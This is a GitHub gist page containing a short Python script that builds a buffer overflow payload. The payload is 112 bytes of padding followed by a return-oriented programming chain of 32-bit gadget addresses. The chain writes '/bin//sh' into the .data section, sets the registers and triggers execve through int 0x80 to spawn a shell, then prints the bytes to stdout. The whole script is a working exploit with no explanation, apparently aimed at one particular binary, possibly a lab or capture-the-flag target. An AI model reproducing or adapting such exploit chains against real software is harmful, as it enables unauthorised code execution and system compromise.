Skip to content

Instantly share code, notes, and snippets.

@souragc
Created September 20, 2022 18:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save souragc/5fa64bde12c23960a66f6c08678cd9b1 to your computer and use it in GitHub Desktop.
Save souragc/5fa64bde12c23960a66f6c08678cd9b1 to your computer and use it in GitHub Desktop.
import sys
def p32(integer):
return integer.to_bytes(4, byteorder='little').decode('latin-1')
# Padding goes here
p = 'a'*112
p += p32( 0x0806dddb) # pop edx ; ret
p += p32( 0x080da060) # @ .data
p += p32( 0x08055d64) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += p32( 0x080da060) # padding without overwrite edx
p += p32( 0x41414141) # padding
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret
p += p32( 0x0806dddb) # pop edx ; ret
p += p32( 0x080da064) # @ .data + 4
p += p32( 0x08055d64) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += p32( 0x080da064) # padding without overwrite edx
p += p32( 0x41414141) # padding
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret
p += p32( 0x0806dddb) # pop edx ; ret
p += p32( 0x080da068) # @ .data + 8
p += p32( 0x08055e50) # xor eax, eax ; ret
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret
p += p32( 0x080481c6) # pop ebx ; ret
p += p32( 0x080da060) # @ .data
p += p32( 0x0806de02) # pop ecx ; pop ebx ; ret
p += p32( 0x080da068) # @ .data + 8
p += p32( 0x080da060) # padding without overwrite ebx
p += p32( 0x0806dddb) # pop edx ; ret
p += p32( 0x080da068) # @ .data + 8
p += p32( 0x08055e50) # xor eax, eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0807b23a) # inc eax ; ret
p += p32( 0x0804942a) # int 0x80
def exp():
sys.stdout.buffer.write(p.encode('latin-1'))
if __name__ == '__main__':
exp()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment